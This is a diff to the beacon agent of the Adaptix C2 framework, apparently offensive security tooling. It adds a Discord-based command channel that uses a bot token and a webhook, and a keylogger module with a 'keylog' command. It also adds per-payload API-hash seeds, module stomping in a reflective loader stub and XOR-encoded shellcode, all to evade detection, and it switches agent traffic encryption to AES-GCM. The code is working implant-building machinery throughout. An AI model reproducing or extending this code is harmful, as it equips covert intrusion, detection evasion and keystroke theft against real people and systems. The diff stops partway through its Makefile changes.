index 87ae4e3c0..a3c7bccbc 100644
--- a/AdaptixServer/extenders/beacon_agent/pl_main.go
+++ b/AdaptixServer/extenders/beacon_agent/pl_main.go
@@ -290,18 +290,30 @@ type GenerateConfig struct {
ProxyUsername string `json:"proxy_username"`
ProxyPassword string `json:"proxy_password"`
RotationMode string `json:"rotation_mode"`
+ ModuleStomp bool `json:"module_stomp"`
+ StompPaths string `json:"stomp_paths"`
}
var (
- ObjectDir_http = "objects_http"
- ObjectDir_smb = "objects_smb"
- ObjectDir_tcp = "objects_tcp"
- ObjectDir_dns = "objects_dns"
- ObjectFiles = [...]string{"Agent", "AgentConfig", "AgentInfo", "ApiLoader", "beacon_functions", "bof_loader", "Boffer", "Commander", "crt", "Crypt", "Downloader", "Encoders", "JobsController", "MainAgent", "MemorySaver", "Packer", "Pivotter", "ProcLoader", "Proxyfire", "std", "utils", "WaitMask"}
+ ObjectDir_http = "objects_http"
+ ObjectDir_smb = "objects_smb"
+ ObjectDir_tcp = "objects_tcp"
+ ObjectDir_dns = "objects_dns"
+ ObjectDir_discord = "objects_discord"
+ ObjectFiles = [...]string{"Agent", "AgentConfig", "AgentInfo", "ApiLoader", "beacon_functions", "bof_loader", "Boffer", "Commander", "crt", "Crypt", "Downloader", "Encoders", "JobsController", "Keylogger", "MainAgent", "MemorySaver", "Packer", "Pivotter", "ProcLoader", "Proxyfire", "std", "utils", "WaitMask"}
CFlags = "-c -fno-builtin -fno-unwind-tables -fno-strict-aliasing -fno-ident -fno-stack-protector -fno-exceptions -fno-asynchronous-unwind-tables -fno-strict-overflow -fno-delete-null-pointer-checks -fpermissive -w -masm=intel -fPIC"
LFlags = "-Os -s -Wl,-s,--gc-sections -static-libgcc -mwindows"
)
+var seedDependentFiles = map[string]bool{
+ "ProcLoader": true,
+ "ApiLoader": true,
+ "Boffer": true,
+ "bof_loader": true,
+ "Commander": true,
+ "Keylogger": true,
+}
+
func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, error) {
var agentProfiles [][]byte
@@ -361,6 +373,9 @@ func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte,
if err != nil {
return nil, err
}
+ if len(encryptKey) != 32 {
+ return nil, errors.New("encrypt_key must be 32 bytes (64 hex chars) for AES-256-GCM")
+ }
params = append(params, int(agentWatermark))
params = append(params, kill_date)
@@ -495,6 +510,19 @@ func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte,
return nil, err
}
+ case "discord":
+ webhookUrl, _ := listenerMap["webhook_url"].(string)
+ botToken, _ := listenerMap["bot_token"].(string)
+ channelTasksId, _ := listenerMap["channel_tasks_id"].(string)
+ pollInterval, _ := listenerMap["poll_interval"].(float64)
+ cleanup, _ := listenerMap["cleanup"].(bool)
+
+ params = append(params, webhookUrl)
+ params = append(params, botToken)
+ params = append(params, channelTasksId)
+ params = append(params, int(pollInterval))
+ params = append(params, cleanup)
+
default:
return nil, errors.New("protocol unknown")
}
@@ -504,7 +532,7 @@ func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte,
return nil, err
}
- cryptParams, err := RC4Crypt(packedParams, encryptKey)
+ cryptParams, err := AES256GCMEncrypt(packedParams, encryptKey)
if err != nil {
return nil, err
}
@@ -577,6 +605,15 @@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [
return nil, "", err
}
+ seed := cryptoRandUint32()
+ err = os.WriteFile(currentDir+"/beacon/ApiDefines.h", []byte(generateApiDefines(seed)), 0644)
+ if err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", err
+ }
+ cFlags += fmt.Sprintf(" -DDJB2_SEED=%dU", seed)
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("DJB2 seed: 0x%08x", seed))
+
protocol, _ := listenerMap["protocol"].(string)
if protocol == "http" {
ObjectDir = ObjectDir_http
@@ -590,6 +627,9 @@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [
} else if protocol == "dns" {
ObjectDir = ObjectDir_dns
ConnectorFile = "ConnectorDNS"
+ } else if protocol == "discord" {
+ ObjectDir = ObjectDir_discord
+ ConnectorFile = "ConnectorDiscord"
} else {
return nil, "", errors.New("protocol unknown")
}
@@ -629,13 +669,60 @@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [
}
_ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "Configuration compiled successfully")
+ beaconDefine := ""
+ switch protocol {
+ case "http":
+ beaconDefine = "-DBEACON_HTTP"
+ case "bind_smb":
+ beaconDefine = "-DBEACON_SMB"
+ case "bind_tcp":
+ beaconDefine = "-DBEACON_TCP"
+ case "dns":
+ beaconDefine = "-DBEACON_DNS"
+ case "discord":
+ beaconDefine = "-DBEACON_DISCORD"
+ }
+
+ recompileFiles := []string{ConnectorFile}
+ for name := range seedDependentFiles {
+ recompileFiles = append(recompileFiles, name)
+ }
+ if protocol == "dns" {
+ recompileFiles = append(recompileFiles, "DnsCodec")
+ }
+
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Recompiling hash-dependent files with per-payload seed...")
+ for _, srcFile := range recompileFiles {
+ srcPath := "beacon/" + srcFile + ".cpp"
+ outPath := tempDir + "/" + srcFile + Ext
+ cmdRecomp := fmt.Sprintf("%s %s %s %s -o %s", Compiler, cFlags, beaconDefine, srcPath, outPath)
+ var recompArgs []string
+ recompArgs = append(recompArgs, "-c", cmdRecomp)
+ err = Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", recompArgs...)
+ if err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", err
+ }
+ }
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "Hash-dependent files recompiled")
+
+ recompiledSet := make(map[string]bool)
+ for _, f := range recompileFiles {
+ recompiledSet[f] = true
+ }
+
Files := tempDir + "/config.o "
- Files += ObjectDir + "/" + ConnectorFile + Ext + " "
+ Files += tempDir + "/" + ConnectorFile + Ext + " "
for _, ofile := range ObjectFiles {
- Files += ObjectDir + "/" + ofile + Ext + " "
+ if recompiledSet[ofile] {
+ Files += tempDir + "/" + ofile + Ext + " "
+ } else {
+ Files += ObjectDir + "/" + ofile + Ext + " "
+ }
}
if protocol == "dns" {
- Files = appendDNSObjectFiles(Files, ObjectDir, Ext)
+ Files += tempDir + "/DnsCodec" + Ext + " "
+ Files += ObjectDir + "/miniz" + Ext + " "
}
if generateConfig.Format == "Exe" {
@@ -722,17 +809,85 @@ func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [
if err != nil {
return nil, "", err
}
- _ = os.RemoveAll(tempDir)
if generateConfig.Format == "Shellcode" {
- stubContent, err := os.ReadFile(stubPath)
- if err != nil {
- return nil, "", err
+ if generateConfig.Arch == "x64" {
+ stubHashes := computeStubHashes(seed)
+ nasmSrc := "files/stub_rdi.x64.asm"
+ stubBinPath := tempDir + "/stub.x64.bin"
+ nasmDefines := fmt.Sprintf("-DDJB2_SEED=%d -DHASH_MOD_NTDLL=0x%x -DHASH_MOD_KERNEL32=0x%x "+
+ "-DHASH_NTCREATESECTION=0x%x -DHASH_NTMAPVIEWOFSECTION=0x%x "+
+ "-DHASH_NTPROTECTVIRTUALMEMORY=0x%x -DHASH_NTCLOSE=0x%x "+
+ "-DHASH_LOADLIBRARYA=0x%x -DHASH_GETPROCADDRESS=0x%x "+
+ "-DHASH_FLUSHINSTRUCTIONCACHE=0x%x -DHASH_FREELIBRARY=0x%x "+
+ "-DHASH_LOADLIBRARYEXA=0x%x",
+ seed,
+ stubHashes.ModNtdll, stubHashes.ModKernel32,
+ stubHashes.NtCreateSection, stubHashes.NtMapViewOfSection,
+ stubHashes.NtProtectVirtualMem, stubHashes.NtClose,
+ stubHashes.LoadLibraryA, stubHashes.GetProcAddress,
+ stubHashes.FlushInstructionCache, stubHashes.FreeLibrary,
+ stubHashes.LoadLibraryExA)
+
+ if generateConfig.ModuleStomp && generateConfig.StompPaths != "" {
+ incPath := tempDir + "/stomp_paths.inc"
+ var incContent strings.Builder
+ incContent.WriteString("_stomp_paths:\n")
+ for _, line := range strings.Split(generateConfig.StompPaths, "\n") {
+ path := strings.TrimSpace(line)
+ if path == "" {
+ continue
+ }
+ escaped := strings.ReplaceAll(path, `\`, `\\`)
+ incContent.WriteString(fmt.Sprintf(" db \"%s\", 0\n", escaped))
+ }
+ incContent.WriteString(" db 0\n")
+ _ = os.WriteFile(incPath, []byte(incContent.String()), 0644)
+ nasmDefines += fmt.Sprintf(" -DMODULE_STOMP -I%s/", tempDir)
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Module stomping enabled")
+ }
+
+ nasmCmd := fmt.Sprintf("nasm -f bin %s %s -o %s", nasmDefines, nasmSrc, stubBinPath)
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Assembling reflective loader stub with per-payload hashes...")
+ var nasmArgs []string
+ nasmArgs = append(nasmArgs, "-c", nasmCmd)
+ err = Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", nasmArgs...)
+ if err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", err
+ }
+ stubContent, err := os.ReadFile(stubBinPath)
+ if err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", err
+ }
+ rawShellcode := append(stubContent, buildContent...)
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Stub: %d bytes, raw shellcode: %d bytes", len(stubContent), len(rawShellcode)))
+
+ Payload, err = xorEncodeShellcode(rawShellcode, "x64")
+ if err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", err
+ }
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, fmt.Sprintf("XOR-encoded shellcode: %d bytes", len(Payload)))
+ } else {
+ stubContent, err := os.ReadFile(stubPath)
+ if err != nil {
+ return nil, "", err
+ }
+ rawShellcode := append(stubContent, buildContent...)
+
+ Payload, err = xorEncodeShellcode(rawShellcode, "x86")
+ if err != nil {
+ _ = os.RemoveAll(tempDir)
+ return nil, "", err
+ }
+ _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, fmt.Sprintf("XOR-encoded shellcode: %d bytes", len(Payload)))
}
- Payload = append(stubContent, buildContent...)
} else {
Payload = buildContent
}
+ _ = os.RemoveAll(tempDir)
_ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Payload size: %d bytes", len(Payload)))
/// END CODE HERE
@@ -805,13 +960,13 @@ func (p *PluginAgent) CreateAgent(beat []byte) (adaptix.AgentData, adaptix.Exten
func (ext *ExtenderAgent) Encrypt(data []byte, key []byte) ([]byte, error) {
/// START CODE
- return RC4Crypt(data, key)
+ return AES256GCMEncrypt(data, key)
/// END CODE
}
func (ext *ExtenderAgent) Decrypt(data []byte, key []byte) ([]byte, error) {
/// START CODE
- return RC4Crypt(data, key)
+ return AES256GCMDecrypt(data, key)
/// END CODE
}
@@ -1485,6 +1640,11 @@ func (ext *ExtenderAgent) CreateCommand(agentData adaptix.AgentData, args map[st
array = []interface{}{COMMAND_UNLINK, int(id)}
+ case "keylog":
+ taskData.Type = adaptix.TASK_TYPE_JOB
+ pollInterval := 100
+ array = []interface{}{COMMAND_KEYLOG_START, pollInterval}
+
case "upload":
var fileName string
var localFile string
@@ -1855,6 +2015,11 @@ func (ext *ExtenderAgent) ProcessData(agentData adaptix.AgentData, decryptedData
}
task.Message = message
+ case COMMAND_KEYLOG_START:
+ task.Type = adaptix.TASK_TYPE_JOB
+ task.Completed = false
+ task.Message = "Keylogger started (use 'jobs kill' to stop)"
+
case COMMAND_JOB:
if false == packer.CheckPacker([]string{"byte", "byte"}) {
goto HANDLER
diff --git a/AdaptixServer/extenders/beacon_agent/pl_utils.go b/AdaptixServer/extenders/beacon_agent/pl_utils.go
index b0243a690..cbb8eb2c1 100644
--- a/AdaptixServer/extenders/beacon_agent/pl_utils.go
+++ b/AdaptixServer/extenders/beacon_agent/pl_utils.go
@@ -3,7 +3,9 @@ package main
import (
"bytes"
"compress/zlib"
- "crypto/rc4"
+ "crypto/aes"
+ "crypto/cipher"
+ crypto_rand "crypto/rand"
"errors"
"fmt"
"io"
@@ -59,6 +61,8 @@ const (
COMMAND_SHELL_CLOSE = 73
COMMAND_SHELL_ACCEPT = 74
+ COMMAND_KEYLOG_START = 80
+
COMMAND_JOB = 0x8437
COMMAND_SAVEMEMORY = 0x2321
COMMAND_ERROR = 0x1111ffff
@@ -204,14 +208,42 @@ func SizeBytesToFormat(bytes int64) string {
return fmt.Sprintf("%.2f Kb", size/KB)
}
-func RC4Crypt(data []byte, key []byte) ([]byte, error) {
- rc4crypt, errcrypt := rc4.NewCipher(key)
- if errcrypt != nil {
- return nil, errors.New("rc4 crypt error")
+func AES256GCMEncrypt(data []byte, key []byte) ([]byte, error) {
+ block, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, fmt.Errorf("aes cipher error: %v", err)
+ }
+ gcm, err := cipher.NewGCM(block)
+ if err != nil {
+ return nil, fmt.Errorf("gcm error: %v", err)
+ }
+ nonce := make([]byte, gcm.NonceSize())
+ if _, err := io.ReadFull(crypto_rand.Reader, nonce); err != nil {
+ return nil, fmt.Errorf("nonce generation error: %v", err)
+ }
+ ciphertext := gcm.Seal(nonce, nonce, data, nil)
+ return ciphertext, nil
+}
+
+func AES256GCMDecrypt(data []byte, key []byte) ([]byte, error) {
+ block, err := aes.NewCipher(key)
+ if err != nil {
+ return nil, fmt.Errorf("aes cipher error: %v", err)
+ }
+ gcm, err := cipher.NewGCM(block)
+ if err != nil {
+ return nil, fmt.Errorf("gcm error: %v", err)
+ }
+ nonceSize := gcm.NonceSize()
+ if len(data) < nonceSize+gcm.Overhead() {
+ return nil, errors.New("ciphertext too short")
+ }
+ nonce, ciphertext := data[:nonceSize], data[nonceSize:]
+ plaintext, err := gcm.Open(nil, nonce, ciphertext, nil)
+ if err != nil {
+ return nil, fmt.Errorf("gcm decrypt error: %v", err)
}
- decryptData := make([]byte, len(data))
- rc4crypt.XORKeyStream(decryptData, data)
- return decryptData, nil
+ return plaintext, nil
}
func parseDurationToSeconds(input string) (int, error) {
diff --git a/AdaptixServer/extenders/beacon_agent/src_beacon/Makefile b/AdaptixServer/extenders/beacon_agent/src_beacon/Makefile
index e3bc7efed..18b8994cf 100644
--- a/AdaptixServer/extenders/beacon_agent/src_beacon/Makefile
+++ b/AdaptixServer/extenders/beacon_agent/src_beacon/Makefile
@@ -10,6 +10,7 @@ HTTP_DIST_DIR := "objects_http"
SMB_DIST_DIR := "objects_smb"
TCP_DIST_DIR := "objects_tcp"
DNS_DIST_DIR := "objects_dns"
+DISCORD_DIST_DIR := "objects_discord"
HTTP_OBJECTS_X64 := $(patsubst beacon/%.cpp, $(HTTP_DIST_DIR)/%.x64.o, $(SOURCES))
HTTP_OBJECTS_X86 := $(patsubst beacon/%.cpp, $(HTTP_DIST_DIR)/%.x86.o, $(SOURCES))
@@ -23,6 +24,9 @@ TCP_OBJECTS_X86 := $(patsubst beacon/%.cpp, $(TCP_DIST_DIR)/%.x86.o, $(SOURCES))
DNS_OBJECTS_X64 := $(patsubst beacon/%.cpp, $(DNS_DIST_DIR)/%.x64.o, $(SOURCES))
DNS_OBJECTS_X86 := $(patsubst beacon/%.cpp, $(DNS_DIST_DIR)/%.x86.o, $(SOURCES))
+DISCORD_OBJECTS_X64 := $(patsubst beacon/%.cpp, $(DISCORD_DIST_DIR)/%.x64.o, $(SOURCES))
+DISCORD_OBJECTS_X86 := $(patsubst beacon/%.cpp, $(DISCORD_DIST_DIR)/%.x86.o, $(SOURCES))
+
SECURITY_FLAGS := -fno-stack-protector \
-fno-strict-overflow \
-fno-delete-null-pointer-checks \
@@ -38,6 +42,7 @@ COMMON_FLAGS := -I $(BEACON_DIR) \
-w \
$(ASM_SYNTAX) \
-fPIC \
+ -DDJB2_SEED=1572U \
$(SECURITY_FLAGS) \
$(OPTIMIZATION_FLAGS)
@@ -55,7 +60,7 @@ endif
all: clean pre x64 x86
pre:
- @mkdir -p $(HTTP_DIST_DIR) $(SMB_DIST_DIR) $(TCP_DIST_DIR) $(DNS_DIST_DIR)
+ @mkdir -p $(HTTP_DIST_DIR) $(SMB_DIST_DIR) $(TCP_DIST_DIR) $(DNS_DIST_DIR) $(DISCORD_DIST_DIR)
@ # http
@ cp $(FILES_DIR)/config.tpl $(HTTP_DIST_DIR)/config.cpp
@ cp $(FILES_DIR)/stub.x64.bin $(HTTP_DIST_DIR)/stub.x64.bin
@@ -72,54 +77,68 @@ pre:
@ cp $(FILES_DIR)/config.tpl $(DNS_DIST_DIR)/config.cpp
@ cp $(FILES_DIR)/stub.x64.bin $(DNS_DIST_DIR)/stub.x64.bin
@ cp $(FILES_DIR)/stub.x86.bin $(DNS_DIST_DIR)/stub.x86.bin
+ @ # discord
+ @ cp $(FILES_DIR)/config.tpl $(DISCORD_DIST_DIR)/config.cpp
+ @ cp $(FILES_DIR)/stub.x64.bin $(DISCORD_DIST_DIR)/stub.x64.bin
+ @ cp $(FILES_DIR)/stub.x86.bin $(DISCORD_DIST_DIR)/stub.x86.bin
clean:
- @rm -rf $(HTTP_DIST_DIR) $(SMB_DIST_DIR) $(TCP_DIST_DIR) $(DNS_DIST_DIR)
- @mkdir -p $(HTTP_DIST_DIR) $(SMB_DIST_DIR) $(TCP_DIST_DIR) $(DNS_DIST_DIR)
+ @rm -rf $(HTTP_DIST_DIR) $(SMB_DIST_DIR) $(TCP_DIST_DIR) $(DNS_DIST_DIR) $(DISCORD_DIST_DIR)
+ @mkdir -p $(HTTP_DIST_DIR) $(SMB_DIST_DIR) $(TCP_DIST_DIR) $(DNS_DIST_DIR) $(DISCORD_DIST_DIR)
-x64: $(HTTP_OBJECTS_X64) $(SMB_OBJECTS_X64) $(TCP_OBJECTS_X64) $(DNS_OBJECTS_X64)
+x64: $(HTTP_OBJECTS_X64) $(SMB_OBJECTS_X64) $(TCP_OBJECTS_X64) $(DNS_OBJECTS_X64) $(DISCORD_OBJECTS_X64)
@ # http
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_HTTP -D BUILD_SVC -o $(HTTP_DIST_DIR)/main_service.x64.o
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_HTTP -D BUILD_DLL -o $(HTTP_DIST_DIR)/main_dll.x64.o
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_HTTP -D BUILD_SHELLCODE -o $(HTTP_DIST_DIR)/main_shellcode.x64.o
- @rm -f $(HTTP_DIST_DIR)/ConnectorSMB.x64.o $(HTTP_DIST_DIR)/ConnectorTCP.x64.o $(HTTP_DIST_DIR)/ConnectorDNS.x64.o
+ @rm -f $(HTTP_DIST_DIR)/ConnectorSMB.x64.o $(HTTP_DIST_DIR)/ConnectorTCP.x64.o $(HTTP_DIST_DIR)/ConnectorDNS.x64.o $(HTTP_DIST_DIR)/ConnectorDiscord.x64.o
@ # smb
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_SMB -D BUILD_SVC -o $(SMB_DIST_DIR)/main_service.x64.o
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_SMB -D BUILD_DLL -o $(SMB_DIST_DIR)/main_dll.x64.o
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_SMB -D BUILD_SHELLCODE -o $(SMB_DIST_DIR)/main_shellcode.x64.o
- @rm -f $(SMB_DIST_DIR)/ConnectorHTTP.x64.o $(SMB_DIST_DIR)/ConnectorTCP.x64.o $(SMB_DIST_DIR)/ConnectorDNS.x64.o
+ @rm -f $(SMB_DIST_DIR)/ConnectorHTTP.x64.o $(SMB_DIST_DIR)/ConnectorTCP.x64.o $(SMB_DIST_DIR)/ConnectorDNS.x64.o $(SMB_DIST_DIR)/ConnectorDiscord.x64.o
@ # tcp
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_TCP -D BUILD_SVC -o $(TCP_DIST_DIR)/main_service.x64.o
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_TCP -D BUILD_DLL -o $(TCP_DIST_DIR)/main_dll.x64.o
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_TCP -D BUILD_SHELLCODE -o $(TCP_DIST_DIR)/main_shellcode.x64.o
- @rm -f $(TCP_DIST_DIR)/ConnectorHTTP.x64.o $(TCP_DIST_DIR)/ConnectorSMB.x64.o $(TCP_DIST_DIR)/ConnectorDNS.x64.o
+ @rm -f $(TCP_DIST_DIR)/ConnectorHTTP.x64.o $(TCP_DIST_DIR)/ConnectorSMB.x64.o $(TCP_DIST_DIR)/ConnectorDNS.x64.o $(TCP_DIST_DIR)/ConnectorDiscord.x64.o
@ # dns
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DNS -D BUILD_SVC -o $(DNS_DIST_DIR)/main_service.x64.o
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_DNS -D BUILD_DLL -o $(DNS_DIST_DIR)/main_dll.x64.o
@$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DNS -D BUILD_SHELLCODE -o $(DNS_DIST_DIR)/main_shellcode.x64.o
- @rm -f $(DNS_DIST_DIR)/ConnectorHTTP.x64.o $(DNS_DIST_DIR)/ConnectorSMB.x64.o $(DNS_DIST_DIR)/ConnectorTCP.x64.o
-
-x86: $(HTTP_OBJECTS_X86) $(SMB_OBJECTS_X86) $(TCP_OBJECTS_X86) $(DNS_OBJECTS_X86)
+ @rm -f $(DNS_DIST_DIR)/ConnectorHTTP.x64.o $(DNS_DIST_DIR)/ConnectorSMB.x64.o $(DNS_DIST_DIR)/ConnectorTCP.x64.o $(DNS_DIST_DIR)/ConnectorDiscord.x64.o
+ @ # discord
+ @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DISCORD -D BUILD_SVC -o $(DISCORD_DIST_DIR)/main_service.x64.o
+ @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_DISCORD -D BUILD_DLL -o $(DISCORD_DIST_DIR)/main_dll.x64.o
+ @$(CXX_X64) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DISCORD -D BUILD_SHELLCODE -o $(DISCORD_DIST_DIR)/main_shellcode.x64.o
+ @rm -f $(DISCORD_DIST_DIR)/ConnectorHTTP.x64.o $(DISCORD_DIST_DIR)/ConnectorSMB.x64.o $(DISCORD_DIST_DIR)/ConnectorTCP.x64.o $(DISCORD_DIST_DIR)/ConnectorDNS.x64.o
+
+x86: $(HTTP_OBJECTS_X86) $(SMB_OBJECTS_X86) $(TCP_OBJECTS_X86) $(DNS_OBJECTS_X86) $(DISCORD_OBJECTS_X86)
@ # http
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_HTTP -D BUILD_SVC -o $(HTTP_DIST_DIR)/main_service.x86.o
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_HTTP -D BUILD_DLL -o $(HTTP_DIST_DIR)/main_dll.x86.o
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_HTTP -D BUILD_SHELLCODE -o $(HTTP_DIST_DIR)/main_shellcode.x86.o
- @rm -f $(HTTP_DIST_DIR)/ConnectorSMB.x86.o $(HTTP_DIST_DIR)/ConnectorTCP.x86.o $(HTTP_DIST_DIR)/ConnectorDNS.x86.o
+ @rm -f $(HTTP_DIST_DIR)/ConnectorSMB.x86.o $(HTTP_DIST_DIR)/ConnectorTCP.x86.o $(HTTP_DIST_DIR)/ConnectorDNS.x86.o $(HTTP_DIST_DIR)/ConnectorDiscord.x86.o
@ # smb
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_SMB -D BUILD_SVC -o $(SMB_DIST_DIR)/main_service.x86.o
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_SMB -D BUILD_DLL -o $(SMB_DIST_DIR)/main_dll.x86.o
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_SMB -D BUILD_SHELLCODE -o $(SMB_DIST_DIR)/main_shellcode.x86.o
- @rm -f $(SMB_DIST_DIR)/ConnectorHTTP.x86.o $(SMB_DIST_DIR)/ConnectorTCP.x86.o $(SMB_DIST_DIR)/ConnectorDNS.x86.o
+ @rm -f $(SMB_DIST_DIR)/ConnectorHTTP.x86.o $(SMB_DIST_DIR)/ConnectorTCP.x86.o $(SMB_DIST_DIR)/ConnectorDNS.x86.o $(SMB_DIST_DIR)/ConnectorDiscord.x86.o
@ # tcp
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_TCP -D BUILD_SVC -o $(TCP_DIST_DIR)/main_service.x86.o
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_TCP -D BUILD_DLL -o $(TCP_DIST_DIR)/main_dll.x86.o
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_TCP -D BUILD_SHELLCODE -o $(TCP_DIST_DIR)/main_shellcode.x86.o
- @rm -f $(TCP_DIST_DIR)/ConnectorHTTP.x86.o $(TCP_DIST_DIR)/ConnectorSMB.x86.o $(TCP_DIST_DIR)/ConnectorDNS.x86.o
+ @rm -f $(TCP_DIST_DIR)/ConnectorHTTP.x86.o $(TCP_DIST_DIR)/ConnectorSMB.x86.o $(TCP_DIST_DIR)/ConnectorDNS.x86.o $(TCP_DIST_DIR)/ConnectorDiscord.x86.o
@ # dns
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DNS -D BUILD_SVC -o $(DNS_DIST_DIR)/main_service.x86.o
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_DNS -D BUILD_DLL -o $(DNS_DIST_DIR)/main_dll.x86.o
@$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DNS -D BUILD_SHELLCODE -o $(DNS_DIST_DIR)/main_shellcode.x86.o
- @rm -f $(DNS_DIST_DIR)/ConnectorHTTP.x86.o $(DNS_DIST_DIR)/ConnectorSMB.x86.o $(DNS_DIST_DIR)/ConnectorTCP.x86.o
+ @rm -f $(DNS_DIST_DIR)/ConnectorHTTP.x86.o $(DNS_DIST_DIR)/ConnectorSMB.x86.o $(DNS_DIST_DIR)/ConnectorTCP.x86.o $(DNS_DIST_DIR)/ConnectorDiscord.x86.o
+ @ # discord
+ @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DISCORD -D BUILD_SVC -o $(DISCORD_DIST_DIR)/main_service.x86.o
+ @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D_WIN32_WINNT=0x0600 -D BEACON_DISCORD -D BUILD_DLL -o $(DISCORD_DIST_DIR)/main_dll.x86.o
+ @$(CXX_X86) -c $(COMMON_FLAGS) $(BEACON_DIR)/main.cpp -D BEACON_DISCORD -D BUILD_SHELLCODE -o $(DISCORD_DIST_DIR)/main_shellcode.x86.o
+ @rm -f $(DISCORD_DIST_DIR)/ConnectorHTTP.x86.o $(DISCORD_DIST_DIR)/ConnectorSMB.x86.o $(DISCORD_DIST_DIR)/ConnectorTCP.x86.o $(DISCORD_DIST_DIR)/ConnectorDNS.x86.o
$(HTTP_DIST_DIR)/%.x64.o: beacon/%.cpp
@@ -176,3 +195,17 @@ $(DNS_DIST_DIR)/miniz.x64.o: beacon/miniz.cpp
$(DNS_DIST_DIR)/miniz.x86.o: beacon/miniz.cpp
@$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_DNS $(MINIZ_TRIM_FLAGS) -c $< -o $@
+
+
+
+$(DISCORD_DIST_DIR)/%.x64.o: beacon/%.cpp
+ @$(CXX_X64) -c $(COMMON_FLAGS) -D BEACON_DISCORD -c $< -o $@
+
+$(DISCORD_DIST_DIR)/%.x86.o: beacon/%.cpp
+ @$(CXX_X86) -c $(COMMON_FLAGS) -D BEACON_DISCORD -c $< -o $@
+
+$(DISCORD_DIST_DIR)/miniz.x64.o: beacon/miniz.cpp
+ @$(CXX_X64) -c $(COMMON_FLAGS) -D BEACON_DISCORD $(MINIZ_TRIM_FLAGS) -c $< -o $@
+
+$(DISCORD_DIST_DIR)/miniz.x86.o: beacon/miniz.cpp
